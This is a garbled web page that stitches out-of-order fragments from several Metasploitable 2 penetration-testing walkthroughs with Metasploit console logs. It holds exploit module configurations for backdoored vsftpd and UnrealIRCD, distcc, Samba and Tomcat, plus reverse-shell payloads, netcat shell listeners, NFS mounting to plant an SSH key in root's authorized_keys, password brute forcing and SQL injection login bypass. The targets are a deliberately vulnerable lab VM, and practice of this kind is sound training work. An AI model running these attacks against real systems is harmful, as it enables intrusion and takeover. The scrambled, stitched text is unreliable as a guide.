metasploitable 2 list of vulnerabilities

[*] Writing to socket B RHOST 192.168.127.154 yes The target address 15. LHOST => 192.168.127.159 [*] B: "ZeiYbclsufvu4LGM\r\n" Payload options (cmd/unix/interact): Were going to exploit it and get a shell: Due to a random number generator vulnerability, the OpenSSL software installed on the system is susceptible to a brute-force attack. LHOST => 192.168.127.159 This allows remote access to the host for convenience or remote administration. Here's what's going on with this vulnerability. Both operating systems were a Virtual Machine (VM) running under VirtualBox. [*] Successfully sent exploit request Stop the Apache Tomcat 8.0 Tomcat8 service. ---- --------------- -------- ----------- In Metasploitable that can be done in two ways, first, you can quickly run the ifconfig command in the terminal and find the IP address of the machine or you can run a Nmap scan in Kali. msf exploit(drb_remote_codeexec) > exploit Use the showmount Command to see the export list of the NFS server. [*] Auxiliary module execution completed, msf > use exploit/unix/webapp/twiki_history RHOST yes The target address [*] Started reverse double handler Pentesting Vulnerabilities in Metasploitable (part 1), How To install NetHunter Rootless Edition, TWiki History TWikiUsers rev Parameter Command Execution, PHPIDS (PHP-Intrusion Detection System enable/disable). SRVPORT 8080 yes The local port to listen on. [*] B: "7Kx3j4QvoI7LOU5z\r\n" Then, hit the "Run Scan" button in the . [*] Started reverse handler on 192.168.127.159:4444 Name Current Setting Required Description To access a particular web application, click on one of the links provided. [*] A is input [*] Scanned 1 of 1 hosts (100% complete) SRVHOST 0.0.0.0 yes The local host to listen on. PASSWORD no A specific password to authenticate with -- ---- Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. [*] instance eval failed, trying to exploit syscall 0 Automatic :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead [*] Writing to socket B Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). Once the VM is available on your desktop, open the device, and run it with VMWare Player. Id Name Since this is a mock exercise, I leave out the pre-engagement, post-exploitation and risk analysis, and reporting phases. PASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line A Reset DB button in case the application gets damaged during attacks and the database needs reinitializing. PASSWORD no The Password for the specified username. Since we noticed previously that the MySQL database was not secured by a password, were going to use a brute force auxiliary module to see whether we can get into it. Getting access to a system with a writeable filesystem like this is trivial. RHOST => 192.168.127.154 Once Metasploitable 2 is up and running and you have the IP address (mine will be 10.0.0.22 for this walkthrough), then you want to start your scan. [*] Uploading 13833 bytes as RuoE02Uo7DeSsaVp7nmb79cq.war [*] Backgrounding session 1 This must be an address on the local machine or 0.0.0.0 The root directory is shared. Cross site scripting via the HTTP_USER_AGENT HTTP header. We will do this by hacking FTP, telnet and SSH services. It is also instrumental in Intrusion Detection System signature development. A Computer Science portal for geeks. [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:46653) at 2021-02-06 22:23:23 +0300 Mutillidae has numerous different types of web application vulnerabilities to discover and with varying levels of difficulty to learn from and challenge budding Pentesters. Using Exploits. Browsing to http://192.168.56.101/ shows the web application home page. The backdoor was quickly identified and removed, but not before quite a few people downloaded it. Notice that it does not function against Java Management Extension (JMX) ports as they do not allow remote class loading unless some other RMI endpoint is active in the same Java process. Name Current Setting Required Description And this is what we get: [*] Executing /RuoE02Uo7DeSsaVp7nmb79cq/19CS3RJj.jsp Our Pentesting Lab will consist of Kali Linux as the attacker and Metasploitable 2 as the target. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0. Loading of any arbitrary file including operating system files. ---- --------------- -------- ----------- (Note: See a list with command ls /var/www.) Back on the Login page try entering the following SQL Injection code with a trailing space into the Name field: The Login should now work successfully without having to input a password! Set-up This . -- ---- ---- --------------- -------- ----------- msf exploit(distcc_exec) > show options This is an issue many in infosec have to deal with all the time. Name Disclosure Date Rank Description RPORT 5432 yes The target port Display the contents of the newly created file. [*] Connected to 192.168.127.154:6667 Information about each OWASP vulnerability can be found under the menu on the left: For our first example we have Toggled Hints to 1 and selected the A1- Injection -> SQLi Bypass Authentication -> Login vulnerability: Trying the SSL Injection method of entering OR 1=1 into the Name field, as described in the hints, gave the following errors: This turns out to be due to a minor, yet crucial, configuration problem that impacts any database related functionality. Name Current Setting Required Description RPORT 5432 yes The target port Module options (exploit/linux/local/udev_netlink): Open in app. Login with the above credentials. ---- --------------- -------- ----------- msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.127.154 The following sections describe the requirements and instructions for setting up a vulnerable target. Exploit target: Perform a ping of IP address 127.0.0.1 three times. Pass the udevd netlink socket PID (listed in /proc/net/netlink, typically is the udevd PID minus 1) as argv[1]. On July 3, 2011, this backdoor was eliminated. When we try to netcatto a port, we will see this: (UNKNOWN) [192.168.127.154] 514 (shell) open. Payload options (cmd/unix/reverse): [*] Command shell session 4 opened (192.168.127.159:8888 -> 192.168.127.154:33966) at 2021-02-06 23:51:01 +0300 Module options (exploit/unix/irc/unreal_ircd_3281_backdoor): However the .rhosts file is misconfigured. We performed a Nessus scan against the target, and a critical vulnerability on this port ispresent: rsh Unauthenticated Access (via finger Information). Name Current Setting Required Description [*] A is input For more information on Metasploitable 2, check out this handy guide written by HD Moore. Id Name RHOST => 192.168.127.154 0 Linux x86 uname -a LHOST yes The listen address Redirect the results of the uname -r command into file uname.txt. set PASSWORD postgres [*] Trying to mount writeable share 'tmp' [*] Trying to link 'rootfs' to the root filesystem [*] Now access the following share to browse the root filesystem: msf auxiliary(samba_symlink_traversal) > exit, root@ubuntu:~# smbclient //192.168.99.131/tmp, getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec). Were going to use netcat to connect to the attacking machine and give it a shell: Listen on port 5555 on the attackers machine: Now that all is set up, I just make the exploit executable on the victim machine and run it: Now, for the root shell, check our local netcat listener: A little bit of work on that one, but all the more satisfying! DVWA contains instructions on the home page and additional information is available at Wiki Pages - Damn Vulnerable Web App. RPORT 3632 yes The target port [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:52283) at 2021-02-06 21:34:46 +0300 Distributed Ruby or DRb makes it possible for Ruby programs to communicate on the same device or over a network with each other. Its GUI has three distinct areas: Targets, Console, and Modules. Enter the required details on the next screen and click Connect. Exploit target: A malicious backdoor that was introduced to the Unreal IRCD 3.2.8.1 download archive is exploited by this module. Leave blank for a random password. Andrea Fortuna. It is freely available and can be extended individually, which makes it very versatile and flexible. DVWA is PHP-based using a MySQL database and is accessible using admin/password as login credentials. nc -vv -l -p 5555 < 8572, sk Eth Pid Groups Rmem Wmem Dump Locks I thought about closing ports but i read it isn't possible without killing processes. In Cisco Prime LAN Management Solution, this vulnerability is reported to exist but may be present on any host that is not configured appropriately. NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services. The primary administrative user msfadmin has a password matching the username. These are the default statuses which can be changed via the Toggle Security and Toggle Hints buttons. Id Name The same exploit that we used manually before was very simple and quick in Metasploit. whoami Sources referenced include OWASP (Open Web Application Security Project) amongst others. High-end tools like Metasploit and Nmap can be used to test this application by security enthusiasts. Time for some escalation of local privilege. A reinstall of Metasploit was next attempted: Following the reinstall the exploit was run against with the same settings: This seemed to be a partial success a Command Shell session was generated and able to be invoked via the sessions 1 command. msf exploit(distcc_exec) > set RHOST 192.168.127.154 You can view CVE vulnerability details, exploits, references, metasploit modules, full list of vulnerable products and cvss score reports and vulnerability trends over time (e.g. :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead. These backdoors can be used to gain access to the OS. A command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 is exploited by this module while using the non-default Username Map Script configuration option. msf exploit(distcc_exec) > set payload cmd/unix/reverse What is Metasploit This is a tool developed by Rapid7 for the purpose of developing and executing exploits against vulnerable systems. -- ---- The purpose of a Command Injection attack is to execute unwanted commands on the target system. For this, Metasploit has an exploit available: A documented security flaw is used by this module to implement arbitrary commands on any system operating distccd. Loading of any arbitrary web page on the Interet or locally including the sites password files.Phishing, SQL injection to dump all usernames and passwords via the username field or the password fieldXSS via any of the displayed fields. Type \c to clear the current input statement. msf auxiliary(smb_version) > set RHOSTS 192.168.127.154 You will need the rpcbind and nfs-common Ubuntu packages to follow along. Vulnerability Management Nexpose This is the action page, SQL injection and XSS via the username, signature and password field, Contains directories that are supposed to be private, This page gives hints about how to discover the server configuration, Cascading style sheet injection and XSS via the color field, Denial of Service if you fill up the logXSS via the hostname, client IP, browser HTTP header, Referer HTTP header, and date fields, XSS via the user agent string HTTP header. DB_ALL_USERS false no Add all users in the current database to the list Metasploitable 2 is available at: Id Name For example, noting that the version of PHP disclosed in the screenshot is version 5.2.4, it may be possible that the system is vulnerable to CVE-2012-1823 and CVE-2012-2311 which affected PHP before 5.3.12 and 5.4.x before 5.4.2. [*] Command: echo ZeiYbclsufvu4LGM; This particular version contains a backdoor that was slipped into the source code by an unknown intruder. Payload options (java/meterpreter/reverse_tcp): Id Name STOP_ON_SUCCESS => true This will be the address you'll use for testing purposes. First, whats Metasploit? [+] Found netlink pid: 2769 msf exploit(distcc_exec) > show options msf exploit(vsftpd_234_backdoor) > show payloads [*] Command: echo f8rjvIDZRdKBtu0F; The interface looks like a Linux command-line shell. LPORT 4444 yes The listen port [*] A is input Select Metasploitable VM as a target victim from this list. The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. msf auxiliary(postgres_login) > show options root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/, root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys, Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128, root@ubuntu:~# telnet 192.168.99.131 6200, msf > use exploit/unix/irc/unreal_ircd_3281_backdoor, msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131, msf exploit(unreal_ircd_3281_backdoor) > exploit. Its time to enumerate this database and get information as much as you can collect to plan a better strategy. SSLCert no Path to a custom SSL certificate (default is randomly generated) [*] Accepted the second client connection RHOSTS => 192.168.127.154 This method is used to exploit VNC software hosted on Linux or Unix or Windows Operating Systems with authentication vulnerability. In order to proceed, click on the Create button. Module options (auxiliary/scanner/postgres/postgres_login): [*] Reading from socket B Nessus, OpenVAS and Nexpose VS Metasploitable. TCP ports 512, 513, and 514 are known as "r" services, and have been misconfigured to allow remote access from any host (a standard ".rhosts + +" situation). Differences between Metasploitable 3 and the older versions. USERNAME postgres yes The username to authenticate as Have you used Metasploitable to practice Penetration Testing? Inspired by DVWA, Mutillidae allows the user to change the "Security Level" from 0 (completely insecure) to 5 (secure). msf auxiliary(postgres_login) > run Previous versions of Metasploitable were distributed as a VM snapshot where everything was set up and saved in that state . Our Pentesting Lab will consist of Kali Linux as the attacker and Metasploitable 2 as the target. We can demonstrate this with telnet or use the Metasploit Framework module to automatically exploit it: On port 6667, Metasploitable2 runs the UnreaIRCD IRC daemon. If so please share your comments below. msf auxiliary(smb_version) > show options Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Your identification has been saved in /root/.ssh/id_rsa. -- ---- Exploits include buffer overflow, code injection, and web application exploits. This is about as easy as it gets. VHOST no HTTP server virtual host msf exploit(udev_netlink) > show options msf auxiliary(telnet_version) > show options We looked for netcat on the victims command line, and luckily, it is installed: So well compile and send the exploit via netcat. USERNAME no The username to authenticate as payload => java/meterpreter/reverse_tcp XSS via any of the displayed fields. Step 2: Vulnerability Assessment. This could allow more attacks against the database to be launched by an attacker. Our first attempt failed to create a session: The following commands to update Metasploit to v6.0.22-dev were tried to see if they would resolve the issue: Unfortunately the same problem occurred after the version upgrade which may have been down to the database needing to be re-initialized. Searching for exploits for Java provided something intriguing: Java RMI Server Insecure Default Configuration Java Code Execution. now i just started learning about penetration testing, unfortunately now i am facing a problem, i just installed GVM / OpenVas version 21.4.1 on a vm with kali linux 2020.4 installed, and in the other vm i have metasploitable2 installed both vm network are set with bridged, so they can ping each other because they are on the same network. Step 6: Display Database Name. VHOST no HTTP server virtual host Exploit target: Therefore, well stop here. URI yes The dRuby URI of the target host (druby://host:port) Metasploitable Databases: Exploiting MySQL with Metasploit: Metasploitable/MySQL. :14747:0:99999:7::: The Nessus scan that we ran against the target demonstrated the following: It is possible to access a remote database server without a password. The ++ signifies that all computers should be treated as friendlies and be allowed to . Metasploitable 2 has deliberately vulnerable web applications pre-installed. This setup included an attacker using Kali Linux and a target using the Linux-based Metasploitable. USERNAME => tomcat whoami A vulnerability in the history component of TWiki is exploited by this module. Essentially thistests whether the root account has a weak SSH key, checking each key in the directory where you have stored the keys. So I'm going to exploit 7 different remote vulnerabilities , here are the list of vulnerabilities. Restart the web server via the following command. Id Name It is inherently vulnerable since it distributes data in plain text, leaving many security holes open. SSLCert no Path to a custom SSL certificate (default is randomly generated) msf exploit(drb_remote_codeexec) > set URI druby://192.168.127.154:8787 To access official Ubuntu documentation, please visit: Lets proceed with our exploitation. Lets see if we can really connect without a password to the database as root. 0 Automatic USERNAME => tomcat Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. The next service we should look at is the Network File System (NFS). 0 Automatic [*] B: "VhuwDGXAoBmUMNcg\r\n" ---- --------------- -------- ----------- UnrealIRCD 3.2.8.1 Backdoor Command Execution | Metasploit Exploit Database (DB) Long list the files with attributes in the local folder. [*] Command: echo VhuwDGXAoBmUMNcg; Id Name Name Current Setting Required Description msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.127.154 msf exploit(drb_remote_codeexec) > set payload cmd/unix/reverse Individual web applications may additionally be accessed by appending the application directory name onto http:// to create URL http:////. We dont really want to deprive you of practicing new skills. www-data, msf > use auxiliary/scanner/smb/smb_version [*] Reading from socket B VERBOSE true yes Whether to print output for all attempts The major purpose why use of such virtual machines is done could be for conducting security trainings, testing of security tools, or simply for practicing the commonly known techniques of penetration testing. Mitigation: Update . 0 Automatic df8cc200 15 2767 00000001 0 0 00000000 2, ps aux | grep udev msf auxiliary(tomcat_administration) > set RHOSTS 192.168.127.154 Proxies no Use a proxy chain URI => druby://192.168.127.154:8787 If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state. Remote code execution vulnerabilities in dRuby are exploited by this module. Both operating systems will be running as VMs within VirtualBox. It aids the penetration testers in choosing and configuring of exploits. A demonstration of an adverse outcome. RPORT => 445 RHOST => 192.168.127.154 URI /twiki/bin yes TWiki bin directory path Using this environment we will demonstrate a selection of exploits using a variety of tools from within Kali Linux against Metasploitable V2. This document outlines many of the security flaws in the Metasploitable 2 image. msf exploit(usermap_script) > set RPORT 445 Armitage is very user friendly. msf exploit(tomcat_mgr_deploy) > set RPORT 8180 The-e flag is intended to indicate exports: Oh, how sweet! Once we get a clear vision on the open ports, we can start enumerating them to see and find the running services alongside their version. On metasploitable there were over 60 vulnerabilities, consisting of similar ones to the windows target. Id Name ---- --------------- -------- ----------- This module in app ) as argv [ 1 ] should look at is the Network system..., Console, and Modules quickly identified and removed, but not before quite a few people it! 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And nfs-common Ubuntu packages to follow along Name Current Setting Required Description RPORT 5432 yes the listen [! Description RPORT 5432 yes the target port Display the contents of the displayed fields > set RPORT 8180 flag. Attacker and Metasploitable 2 image that was introduced to the host for convenience or remote administration over 60 vulnerabilities consisting...